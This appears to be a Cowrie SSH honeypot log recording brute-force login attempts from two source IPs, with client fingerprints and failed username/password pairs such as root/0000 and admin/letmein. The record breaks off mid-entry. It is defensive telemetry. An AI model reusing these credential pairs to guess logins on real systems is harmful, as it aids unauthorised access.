{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:45.749600Z","src_ip":"45.156.87.253","session":"52ca88841e5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:45.830705Z","src_ip":"45.156.87.253","session":"52ca88841e5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:46.075528Z","src_ip":"45.156.87.253","session":"52ca88841e5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":44474,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e4b0177d126","protocol":"ssh","message":"New connection: 91.92.40.11:44474 (10.17.0.5:22) [session: 1e4b0177d126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:46.299829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:46.408203Z","src_ip":"91.92.40.11","session":"1e4b0177d126","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:46.411684Z","src_ip":"91.92.40.11","session":"1e4b0177d126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:47.158164Z","src_ip":"45.156.87.253","session":"52ca88841e5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"letmein","message":"login attempt [admin/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:47.438704Z","src_ip":"91.92.40.11","session":"1e4b0177d126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:48.850204Z","src_ip":"91.92.40.11","session":"1e4b0177d126","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59564,"dst_ip":"10.17.0.5","dst_port":22,"session":"44c31bfce385","protocol":"ssh","message":"New connection: 45.156.87.253:59564 (10.17.0.5:22) [session: 44c31bfce385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:48.986934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:48.990566Z","src_ip":"45.156.87.253","session":"44c31bfce385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:49.071666Z","src_ip":"45.156.87.253","session":"44c31bfce385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"p@ssw0rd","message":"login attempt [labuser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:49.349118Z","src_ip":"45.156.87.253","session":"44c31bfce385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:50.432940Z","src_ip":"45.156.87.253","session":"44c31bfce385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43822,"dst_ip":"10.17.0.5","dst_port":22,"session":"d64ff5f43d04","protocol":"ssh","message":"New connection: 45.156.87.253:43822 (10.17.0.5:22) [session: d64ff5f43d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:52.460882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:52.464837Z","src_ip":"45.156.87.253","session":"d64ff5f43d04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:52.546524Z","src_ip":"45.156.87.253","session":"d64ff5f43d04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:52.795889Z","src_ip":"45.156.87.253","session":"d64ff5f43d04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:53.880214Z","src_ip":"45.156.87.253","session":"d64ff5f43d04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43830,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8eb11a36378","protocol":"ssh","message":"New connection: 45.156.87.253:43830 (10.17.0.5:22) [session: a8eb11a36378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:55.739915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:55.742862Z","src_ip":"45.156.87.253","session":"a8eb11a36378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:55.822334Z","src_ip":"45.156.87.253","session":"a8eb11a36378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lin","password":"123456","message":"login attempt [lin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:56.062713Z","src_ip":"45.156.87.253","session":"a8eb11a36378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:57.147883Z","src_ip":"45.156.87.253","session":"a8eb11a36378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43844,"dst_ip":"10.17.0.5","dst_port":22,"session":"99f75acc94be","protocol":"ssh","message":"New connection: 45.156.87.253:43844 (10.17.0.5:22) [session: 99f75acc94be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:59.042633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:59.145014Z","src_ip":"45.156.87.253","session":"99f75acc94be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:59.147758Z","src_ip":"45.156.87.253","session":"99f75acc94be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:59.469873Z","src_ip":"45.156.87.253","session":"99f75acc94be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:00.553983Z","src_ip":"45.156.87.253","session":"99f75acc94be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43414,"dst_ip":"10.17.0.5","dst_port":22,"session":"89c451e8e748","protocol":"ssh","message":"New connection: 45.156.87.253:43414 (10.17.0.5:22) [session: 89c451e8e748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:02.417982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:02.421647Z","src_ip":"45.156.87.253","session":"89c451e8e748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:02.502439Z","src_ip":"45.156.87.253","session":"89c451e8e748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:02.747526Z","src_ip":"45.156.87.253","session":"89c451e8e748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:03.830959Z","src_ip":"45.156.87.253","session":"89c451e8e748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43416,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5ae2d1e46f4","protocol":"ssh","message":"New connection: 45.156.87.253:43416 (10.17.0.5:22) [session: d5ae2d1e46f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:05.691340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:05.694359Z","src_ip":"45.156.87.253","session":"d5ae2d1e46f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:05.775703Z","src_ip":"45.156.87.253","session":"d5ae2d1e46f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:06.054509Z","src_ip":"45.156.87.253","session":"d5ae2d1e46f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:07.137726Z","src_ip":"45.156.87.253","session":"d5ae2d1e46f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51674,"dst_ip":"10.17.0.5","dst_port":22,"session":"b61d4ecfd2bf","protocol":"ssh","message":"New connection: 45.156.87.253:51674 (10.17.0.5:22) [session: b61d4ecfd2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:09.167993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:09.171441Z","src_ip":"45.156.87.253","session":"b61d4ecfd2bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS